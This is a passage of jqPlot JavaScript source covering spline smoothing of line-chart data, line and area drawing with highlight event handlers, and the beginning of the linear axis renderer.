0.5); } var yy = []; var xx = []; for (var i=0, l = gd.length; i<l; i++) { yy.push(gd[i][1]); xx.push(gd[i][0]); } function dxx(x1, x0) { if (x1 - x0 == 0) { return Math.pow(10,10); } else { return x1 - x0; } } var A, B, C, D; // loop through each line segment. Have # points - 1 line segments. Nmber segments starting at 1. var nmax = gd.length - 1; for (var num = 1, gdl = gd.length; num<gdl; num++) { var gxx = []; var ggxx = []; // point at each end of segment. for (var j = 0; j < 2; j++) { var i = num - 1 + j; // point number, 0 to # points. if (i == 0 || i == nmax) { gxx[j] = Math.pow(10, 10); } else if (yy[i+1] - yy[i] == 0 || yy[i] - yy[i-1] == 0) { gxx[j] = 0; } else if (((xx[i+1] - xx[i]) / (yy[i+1] - yy[i]) + (xx[i] - xx[i-1]) / (yy[i] - yy[i-1])) == 0 ) { gxx[j] = 0; } else if ( (yy[i+1] - yy[i]) * (yy[i] - yy[i-1]) < 0 ) { gxx[j] = 0; } else { gxx[j] = 2 / (dxx(xx[i + 1], xx[i]) / (yy[i + 1] - yy[i]) + dxx(xx[i], xx[i - 1]) / (yy[i] - yy[i - 1])); } } // Reset first derivative (slope) at first and last point if (num == 1) { // First point has 0 2nd derivative gxx[0] = 3 / 2 * (yy[1] - yy[0]) / dxx(xx[1], xx[0]) - gxx[1] / 2; } else if (num == nmax) { // Last point has 0 2nd derivative gxx[1] = 3 / 2 * (yy[nmax] - yy[nmax - 1]) / dxx(xx[nmax], xx[nmax - 1]) - gxx[0] / 2; } // Calc second derivative at points ggxx[0] = -2 * (gxx[1] + 2 * gxx[0]) / dxx(xx[num], xx[num - 1]) + 6 * (yy[num] - yy[num - 1]) / Math.pow(dxx(xx[num], xx[num - 1]), 2); ggxx[1] = 2 * (2 * gxx[1] + gxx[0]) / dxx(xx[num], xx[num - 1]) - 6 * (yy[num] - yy[num - 1]) / Math.pow(dxx(xx[num], xx[num - 1]), 2); // Calc constants for cubic interpolation D = 1 / 6 * (ggxx[1] - ggxx[0]) / dxx(xx[num], xx[num - 1]); C = 1 / 2 * (xx[num] * ggxx[0] - xx[num - 1] * ggxx[1]) / dxx(xx[num], xx[num - 1]); B = (yy[num] - yy[num - 1] - C * (Math.pow(xx[num], 2) - Math.pow(xx[num - 1], 2)) - D * (Math.pow(xx[num], 3) - Math.pow(xx[num - 1], 3))) / dxx(xx[num], xx[num - 1]); A = yy[num - 1] - B * xx[num - 1] - C * Math.pow(xx[num - 1], 2) - D * Math.pow(xx[num - 1], 3); var increment = (xx[num] - xx[num - 1]) / steps; var temp, tempx; for (var j = 0, l = steps; j < l; j++) { temp = []; tempx = xx[num - 1] + j * increment; temp.push(tempx); temp.push(A + B * tempx + C * Math.pow(tempx, 2) + D * Math.pow(tempx, 3)); _smoothedData.push(temp); _smoothedPlotData.push([xp(temp[0]), yp(temp[1])]); } } _smoothedData.push(gd[i]); _smoothedPlotData.push([xp(gd[i][0]), yp(gd[i][1])]); return [_smoothedData, _smoothedPlotData]; } /////// // computeHermiteSmoothedData // A hermite spline smoothing of the plot data. // This implementation is derived from the one posted // by krypin on the jqplot-users mailing list: // // http://groups.google.com/group/jqplot-users/browse_thread/thread/748be6a445723cea?pli=1 // // with a blog post: // // http://blog.statscollector.com/a-plugin-renderer-for-jqplot-to-draw-a-hermite-spline/ // // and download of the original plugin: // // http://blog.statscollector.com/wp-content/uploads/2010/02/jqplot.hermiteSplineRenderer.js ////////// // called with scope of series function computeHermiteSmoothedData (gd) { var smooth = this.renderer.smooth; var tension = this.renderer.tension; var dim = this.canvas.getWidth(); var xp = this._xaxis.series_p2u; var yp = this._yaxis.series_p2u; var steps =null; var _steps = null; var a = null; var a1 = null; var a2 = null; var slope = null; var slope2 = null; var temp = null; var t, s, h1, h2, h3, h4; var TiX, TiY, Ti1X, Ti1Y; var pX, pY, p; var sd = []; var spd = []; var dist = gd.length/dim; var min, max, stretch, scale, shift; var _smoothedData = []; var _smoothedPlotData = []; if (!isNaN(parseFloat(smooth))) { steps = parseFloat(smooth); } else { steps = getSteps(dist, 0.5); } if (!isNaN(parseFloat(tension))) { tension = parseFloat(tension); } for (var i=0, l = gd.length-1; i < l; i++) { if (tension === null) { slope = Math.abs((gd[i+1][1] - gd[i][1]) / (gd[i+1][0] - gd[i][0])); min = 0.3; max = 0.6; stretch = (max - min)/2.0; scale = 2.5; shift = -1.4; temp = slope/scale + shift; a1 = stretch * tanh(temp) - stretch * tanh(shift) + min; // if have both left and right line segments, will use minimum tension. if (i > 0) { slope2 = Math.abs((gd[i][1] - gd[i-1][1]) / (gd[i][0] - gd[i-1][0])); } temp = slope2/scale + shift; a2 = stretch * tanh(temp) - stretch * tanh(shift) + min; a = (a1 + a2)/2.0; } else { a = tension; } for (t=0; t < steps; t++) { s = t / steps; h1 = (1 + 2*s)*Math.pow((1-s),2); h2 = s*Math.pow((1-s),2); h3 = Math.pow(s,2)*(3-2*s); h4 = Math.pow(s,2)*(s-1); if (gd[i-1]) { TiX = a * (gd[i+1][0] - gd[i-1][0]); TiY = a * (gd[i+1][1] - gd[i-1][1]); } else { TiX = a * (gd[i+1][0] - gd[i][0]); TiY = a * (gd[i+1][1] - gd[i][1]); } if (gd[i+2]) { Ti1X = a * (gd[i+2][0] - gd[i][0]); Ti1Y = a * (gd[i+2][1] - gd[i][1]); } else { Ti1X = a * (gd[i+1][0] - gd[i][0]); Ti1Y = a * (gd[i+1][1] - gd[i][1]); } pX = h1*gd[i][0] + h3*gd[i+1][0] + h2*TiX + h4*Ti1X; pY = h1*gd[i][1] + h3*gd[i+1][1] + h2*TiY + h4*Ti1Y; p = [pX, pY]; _smoothedData.push(p); _smoothedPlotData.push([xp(pX), yp(pY)]); } } _smoothedData.push(gd[l]); _smoothedPlotData.push([xp(gd[l][0]), yp(gd[l][1])]); return [_smoothedData, _smoothedPlotData]; } // setGridData // converts the user data values to grid coordinates and stores them // in the gridData array. // Called with scope of a series. $.jqplot.LineRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var data = this._plotData; var pdata = this._prevPlotData; this.gridData = []; this._prevGridData = []; this.renderer._smoothedData = []; this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; var bands = this.renderer.bands; var hasNull = false; for (var i=0, l=data.length; i < l; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { this.gridData.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { hasNull = true; this.gridData.push([null, yp.call(this._yaxis, data[i][1])]); } else if (data[i][1] == null) { hasNull = true; this.gridData.push([xp.call(this._xaxis, data[i][0]), null]); } // if not a line series or if no nulls in data, push the converted point onto the array. if (pdata[i] != null && pdata[i][0] != null && pdata[i][1] != null) { this._prevGridData.push([xp.call(this._xaxis, pdata[i][0]), yp.call(this._yaxis, pdata[i][1])]); } // else if there is a null, preserve it. else if (pdata[i] != null && pdata[i][0] == null) { this._prevGridData.push([null, yp.call(this._yaxis, pdata[i][1])]); } else if (pdata[i] != null && pdata[i][0] != null && pdata[i][1] == null) { this._prevGridData.push([xp.call(this._xaxis, pdata[i][0]), null]); } } // don't do smoothing or bands on broken lines. if (hasNull) { this.renderer.smooth = false; if (this._type === 'line') { bands.show = false; } } if (this._type === 'line' && bands.show) { for (var i=0, l=bands.hiData.length; i<l; i++) { this.renderer._hiBandGridData.push([xp.call(this._xaxis, bands.hiData[i][0]), yp.call(this._yaxis, bands.hiData[i][1])]); } for (var i=0, l=bands.lowData.length; i<l; i++) { this.renderer._lowBandGridData.push([xp.call(this._xaxis, bands.lowData[i][0]), yp.call(this._yaxis, bands.lowData[i][1])]); } } // calculate smoothed data if enough points and no nulls if (this._type === 'line' && this.renderer.smooth && this.gridData.length > 2) { var ret; if (this.renderer.constrainSmoothing) { ret = computeConstrainedSmoothedData.call(this, this.gridData); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeConstrainedSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeConstrainedSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } else { ret = computeHermiteSmoothedData.call(this, this.gridData); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeHermiteSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeHermiteSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } } }; // makeGridData // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.LineRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var gd = []; var pgd = []; this.renderer._smoothedData = []; this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; var bands = this.renderer.bands; var hasNull = false; for (var i=0; i<data.length; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { if (this.step && i>0) { gd.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i-1][1])]); } gd.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { hasNull = true; gd.push([null, yp.call(this._yaxis, data[i][1])]); } else if (data[i][1] == null) { hasNull = true; gd.push([xp.call(this._xaxis, data[i][0]), null]); } } // don't do smoothing or bands on broken lines. if (hasNull) { this.renderer.smooth = false; if (this._type === 'line') { bands.show = false; } } if (this._type === 'line' && bands.show) { for (var i=0, l=bands.hiData.length; i<l; i++) { this.renderer._hiBandGridData.push([xp.call(this._xaxis, bands.hiData[i][0]), yp.call(this._yaxis, bands.hiData[i][1])]); } for (var i=0, l=bands.lowData.length; i<l; i++) { this.renderer._lowBandGridData.push([xp.call(this._xaxis, bands.lowData[i][0]), yp.call(this._yaxis, bands.lowData[i][1])]); } } if (this._type === 'line' && this.renderer.smooth && gd.length > 2) { var ret; if (this.renderer.constrainSmoothing) { ret = computeConstrainedSmoothedData.call(this, gd); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeConstrainedSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeConstrainedSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } else { ret = computeHermiteSmoothedData.call(this, gd); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeHermiteSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeHermiteSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } } return gd; }; // called within scope of series. $.jqplot.LineRenderer.prototype.draw = function(ctx, gd, options, plot) { var i; // get a copy of the options, so we don't modify the original object. var opts = $.extend(true, {}, options); var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var fillAndStroke = (opts.fillAndStroke != undefined) ? opts.fillAndStroke : this.fillAndStroke; var xmin, ymin, xmax, ymax; ctx.save(); if (gd.length) { if (showLine) { // if we fill, we'll have to add points to close the curve. if (fill) { if (this.fillToZero) { // have to break line up into shapes at axis crossings var negativeColor = this.negativeColor; if (! this.useNegativeColors) { negativeColor = opts.fillStyle; } var isnegative = false; var posfs = opts.fillStyle; // if stoking line as well as filling, get a copy of line data. if (fillAndStroke) { var fasgd = gd.slice(0); } // if not stacked, fill down to axis if (this.index == 0 || !this._stack) { var tempgd = []; var pd = (this.renderer.smooth) ? this.renderer._smoothedPlotData : this._plotData; this._areaPoints = []; var pyzero = this._yaxis.series_u2p(this.fillToValue); var pxzero = this._xaxis.series_u2p(this.fillToValue); opts.closePath = true; if (this.fillAxis == 'y') { tempgd.push([gd[0][0], pyzero]); this._areaPoints.push([gd[0][0], pyzero]); for (var i=0; i<gd.length-1; i++) { tempgd.push(gd[i]); this._areaPoints.push(gd[i]); // do we have an axis crossing? if (pd[i][1] * pd[i+1][1] <= 0) { if (pd[i][1] < 0) { isnegative = true; opts.fillStyle = negativeColor; } else { isnegative = false; opts.fillStyle = posfs; } var xintercept = gd[i][0] + (gd[i+1][0] - gd[i][0]) * (pyzero-gd[i][1])/(gd[i+1][1] - gd[i][1]); tempgd.push([xintercept, pyzero]); this._areaPoints.push([xintercept, pyzero]); // now draw this shape and shadow. if (shadow) { this.renderer.shadowRenderer.draw(ctx, tempgd, opts); } this.renderer.shapeRenderer.draw(ctx, tempgd, opts); // now empty temp array and continue tempgd = [[xintercept, pyzero]]; // this._areaPoints = [[xintercept, pyzero]]; } } if (pd[gd.length-1][1] < 0) { isnegative = true; opts.fillStyle = negativeColor; } else { isnegative = false; opts.fillStyle = posfs; } tempgd.push(gd[gd.length-1]); this._areaPoints.push(gd[gd.length-1]); tempgd.push([gd[gd.length-1][0], pyzero]); this._areaPoints.push([gd[gd.length-1][0], pyzero]); } // now draw the last area. if (shadow) { this.renderer.shadowRenderer.draw(ctx, tempgd, opts); } this.renderer.shapeRenderer.draw(ctx, tempgd, opts); // var gridymin = this._yaxis.series_u2p(0); // // IE doesn't return new length on unshift // gd.unshift([gd[0][0], gridymin]); // len = gd.length; // gd.push([gd[len - 1][0], gridymin]); } // if stacked, fill to line below else { var prev = this._prevGridData; for (var i=prev.length; i>0; i--) { gd.push(prev[i-1]); // this._areaPoints.push(prev[i-1]); } if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this._areaPoints = gd; this.renderer.shapeRenderer.draw(ctx, gd, opts); } } ///////////////////////// // Not filled to zero //////////////////////// else { // if stoking line as well as filling, get a copy of line data. if (fillAndStroke) { var fasgd = gd.slice(0); } // if not stacked, fill down to axis if (this.index == 0 || !this._stack) { // var gridymin = this._yaxis.series_u2p(this._yaxis.min) - this.gridBorderWidth / 2; var gridymin = ctx.canvas.height; // IE doesn't return new length on unshift gd.unshift([gd[0][0], gridymin]); var len = gd.length; gd.push([gd[len - 1][0], gridymin]); } // if stacked, fill to line below else { var prev = this._prevGridData; for (var i=prev.length; i>0; i--) { gd.push(prev[i-1]); } } this._areaPoints = gd; if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this.renderer.shapeRenderer.draw(ctx, gd, opts); } if (fillAndStroke) { var fasopts = $.extend(true, {}, opts, {fill:false, closePath:false}); this.renderer.shapeRenderer.draw(ctx, fasgd, fasopts); ////////// // TODO: figure out some way to do shadows nicely // if (shadow) { // this.renderer.shadowRenderer.draw(ctx, fasgd, fasopts); // } // now draw the markers if (this.markerRenderer.show) { if (this.renderer.smooth) { fasgd = this.gridData; } for (i=0; i<fasgd.length; i++) { var markerOptions = opts.markerOptions || {}; if (this.markerOptionsCallback) { markerOptions = $.extend(true, markerOptions, this.markerOptionsCallback(plot, this, i, this.data[i], gd[i]) || {}); } this.markerRenderer.draw(fasgd[i][0], fasgd[i][1], ctx, markerOptions); } } } } else { if (this.renderer.bands.show) { var bdat; var bopts = $.extend(true, {}, opts); if (this.renderer.bands.showLines) { bdat = (this.renderer.smooth) ? this.renderer._hiBandSmoothedData : this.renderer._hiBandGridData; this.renderer.shapeRenderer.draw(ctx, bdat, opts); bdat = (this.renderer.smooth) ? this.renderer._lowBandSmoothedData : this.renderer._lowBandGridData; this.renderer.shapeRenderer.draw(ctx, bdat, bopts); } if (this.renderer.bands.fill) { if (this.renderer.smooth) { bdat = this.renderer._hiBandSmoothedData.concat(this.renderer._lowBandSmoothedData.reverse()); } else { bdat = this.renderer._hiBandGridData.concat(this.renderer._lowBandGridData.reverse()); } this._areaPoints = bdat; bopts.closePath = true; bopts.fill = true; bopts.fillStyle = this.renderer.bands.fillColor; this.renderer.shapeRenderer.draw(ctx, bdat, bopts); } } if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this.renderer.shapeRenderer.draw(ctx, gd, opts); } } // calculate the bounding box var xmin = xmax = ymin = ymax = null; for (i=0; i<this._areaPoints.length; i++) { var p = this._areaPoints[i]; if (xmin > p[0] || xmin == null) { xmin = p[0]; } if (ymax < p[1] || ymax == null) { ymax = p[1]; } if (xmax < p[0] || xmax == null) { xmax = p[0]; } if (ymin > p[1] || ymin == null) { ymin = p[1]; } } if (this.type === 'line' && this.renderer.bands.show) { ymax = this._yaxis.series_u2p(this.renderer.bands._min); ymin = this._yaxis.series_u2p(this.renderer.bands._max); } this._boundingBox = [[xmin, ymax], [xmax, ymin]]; // now draw the markers if (this.markerRenderer.show && !fill) { if (this.renderer.smooth) { gd = this.gridData; } for (i=0; i<gd.length; i++) { var markerOptions = opts.markerOptions || {}; if (this.markerOptionsCallback) { markerOptions = $.extend(true, markerOptions, this.markerOptionsCallback(plot, this, i, this.data[i], gd[i]) || {}); } if (gd[i][0] != null && gd[i][1] != null) { this.markerRenderer.draw(gd[i][0], gd[i][1], ctx, markerOptions); } } } } ctx.restore(); }; $.jqplot.LineRenderer.prototype.drawShadow = function(ctx, gd, options) { // This is a no-op, shadows drawn with lines. }; // called with scope of plot. // make sure to not leave anything highlighted. function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.LineRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.lineRenderer && this.plugins.lineRenderer.highlightCanvas) { this.plugins.lineRenderer.highlightCanvas.resetCanvas(); this.plugins.lineRenderer.highlightCanvas = null; } this.plugins.lineRenderer.highlightedSeriesIndex = null; this.plugins.lineRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.lineRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-lineRenderer-highlight-canvas', this._plotDimensions, this)); this.plugins.lineRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } function highlight (plot, sidx, pidx, points) { var s = plot.series[sidx]; var canvas = plot.plugins.lineRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.lineRenderer.highlightedSeriesIndex = sidx; var opts = {fillStyle: s.highlightColor}; if (s.type === 'line' && s.renderer.bands.show) { opts.fill = true; opts.closePath = true; } s.renderer.shapeRenderer.draw(canvas._ctx, points, opts); canvas = null; } function unhighlight (plot) { var canvas = plot.plugins.lineRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.lineRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); canvas = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.lineRenderer.highlightedSeriesIndex)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.lineRenderer.highlightedSeriesIndex)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.lineRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.lineRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // class: $.jqplot.LinearAxisRenderer // The default jqPlot axis renderer, creating a numeric axis. $.jqplot.LinearAxisRenderer = function() { }; // called with scope of axis object. $.jqplot.LinearAxisRenderer.prototype.init = function(options){ // prop: breakPoints // EXPERIMENTAL!! Use at your own risk! // Works only with linear axes and the default tick renderer. // Array of [start, stop] points to create a broken axis. // Broken axes have a "jump" in them, which is an immediate // transition from a smaller value to a larger value. // Currently, axis ticks MUST be manually assigned if using breakPoints // by using the axis ticks array option. this.breakPoints = null; // prop: breakTickLabel // Label to use at the axis break if breakPoints are specified. this.breakTickLabel = "≈"; // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: baselineWidth // width of the baseline in pixels. this.baselineWidth = null; // prop: baselineColor // CSS color spec for the baseline. this.baselineColor = null; // prop: forceTickAt0 // This will ensure that there is always a tick mark at 0. // If data range is strictly positive or negative, // this will force 0 to be inside the axis bounds unless // the appropriate axis pad (pad, padMin or padMax) is set // to 0, then this will force an axis min or max value at 0. // This has know effect when any of the following options // are set: autoscale, min, max, numberTicks or tickInterval. this.forceTickAt0 = false; // prop: forceTickAt100 // This will ensure that there is always a tick mark at 100. // If data range is strictly above or below 100, // this will force 100 to be inside the axis bounds unless // the appropriate axis pad (pad, padMin or padMax) is set // to 0, then this will force an axis min or max value at 100. // This has know effect when any of the following options // are set: autoscale, min, max, numberTicks or tickInterval. this.forceTickAt100 = false; // prop: tickInset // Controls the amount to inset the first and last ticks from // the edges of the grid, in multiples of the tick interval. // 0 is no inset, 0.5 is one half a tick interval, 1 is a full // tick interval, etc. this.tickInset = 0; // prop: minorTicks // Number of ticks to add between "major" ticks. // Major ticks are ticks supplied by user or auto computed. // Minor ticks cannot be created by user. this.minorTicks = 0; // prop: alignTicks // true to align tick marks across opposed axes // such as from the y2axis to yaxis. this.alignTicks = false; this._autoFormatString = ''; this._overrideFormatString = false; this._scalefact = 1.0; $.extend(true, this, options); if (this.breakPoints) { if (!$.isArray(this.breakPoints)) { this.breakPoints = null; } else if (this.breakPoints.length < 2 || this.breakPoints[1] <= this.breakPoints[0]) { this.breakPoints = null; } } if (this.numberTicks != null && this.numberTicks < 2) { this.numberTicks = 2; } this.resetDataBounds(); }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this, plot); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; // Added for theming. if (this._elem) { // Memory Leaks patch //this._elem.empty(); this._elem.emptyForce(); this._elem = null; } this._elem = $(document.createElement('div')); this._elem.addClass('jqplot-axis jqplot-'+this.name); this._elem.css('position', 'absolute'); if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { var elem = this._label.draw(ctx, plot); elem.appendTo(this._elem); elem = null; } var t = this._ticks; var tick; for (var i=0; i<t.length; i++) { tick = t[i]; if (tick.show && tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { this._elem.append(tick.draw(ctx, plot)); } } tick = null; t = null; } return this._elem; }; // called with scope of an axis $.jqplot.LinearAxisRenderer.prototype.reset = function() { this.min = this._options.min; this.max = this._options.max; this.tickInterval = this._options.tickInterval; this.numberTicks = this._options.numberTicks; this._autoFormatString = ''; if (this._overrideFormatString && this.tickOptions && this.tickOptions.formatString) { this.tickOptions.formatString = ''; } // this._ticks = this.__ticks; }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var lshow = (this._label == null) ? false : this._label.show; if (this.show) { var t = this._ticks; var tick; for (var i=0; i<t.length; i++) { tick = t[i]; if (!tick._breakTick && tick.show && tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { if (this.name == 'xaxis' || this.name == 'x2axis') { temp = tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } tick = null; t = null; if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name == 'xaxis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name == 'x2axis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name == 'yaxis') { dim = dim + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else { dim = dim + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; var interval; var min, max; var pos1, pos2; var tt, i; // get a copy of user's settings for min/max. var userMin = this.min; var userMax = this.max; var userNT = this.numberTicks; var userTI = this.tickInterval; var threshold = 30; this._scalefact = (Math.max(dim, threshold+1) - threshold)/300.0; // if we already have ticks, use them. // ticks must be in order of increasing value. if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if ($.isArray(ut)) { t.value = ut[0]; if (this.breakPoints) { if (ut[0] == this.breakPoints[0]) { t.label = this.breakTickLabel; t._breakTick = true; t.showGridline = false; t.showMark = false; } else if (ut[0] > this.breakPoints[0] && ut[0] <= this.breakPoints[1]) { t.show = false; t.showGridline = false; t.label = ut[1]; } else { t.label = ut[1]; } } else { t.label = ut[1]; } t.setTick(ut[0], this.name); this._ticks.push(t); } else if ($.isPlainObject(ut)) { $.extend(true, t, ut); t.axis = this.name; this._ticks.push(t); } else { t.value = ut; if (this.breakPoints) { if (ut == this.breakPoints[0]) { t.label = this.breakTickLabel; t._breakTick = true; t.showGridline = false; t.showMark = false; } else if (ut > this.breakPoints[0] && ut <= this.breakPoints[1]) { t.show = false; t.showGridline = false; } } t.setTick(ut, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.tickInterval = (this.max - this.min) / (this.numberTicks - 1); } // we don't have any ticks yet, let's make some! else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } var _numberTicks = this.numberTicks; // if aligning this axis, use number of ticks from previous axis. // Do I need to reset somehow if alignTicks is changed and then graph is replotted?? if (this.alignTicks) { if (this.name === 'x2axis' && plot.axes.xaxis.show) { _numberTicks = plot.axes.xaxis.numberTicks; } else if (this.name.charAt(0) === 'y' && this.name !== 'yaxis' && this.name !== 'yMidAxis' && plot.axes.yaxis.show) { _numberTicks = plot.axes.yaxis.numberTicks; } } min = ((this.min != null) ? this.min : db.min); max = ((this.max != null) ? this.max : db.max); var range = max - min; var rmin, rmax; var temp; if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } // Doing complete autoscaling if (this.min == null || this.max == null && this.tickInterval == null && !this.autoscale) { // Check if user must have tick at 0 or 100 and ensure they are in range. // The autoscaling algorithm will always place ticks at 0 and 100 if they are in range. if (this.forceTickAt0) { if (min > 0) { min = 0; } if (max < 0) { max = 0; } } if (this.forceTickAt100) { if (min > 100) { min = 100; } if (max < 100) { max = 100; } } var keepMin = false, keepMax = false; if (this.min != null) { keepMin = true; } else if (this.max != null) { keepMax = true; } // var threshold = 30; // var tdim = Math.max(dim, threshold+1); // this._scalefact = (tdim-threshold)/300.0; var ret = 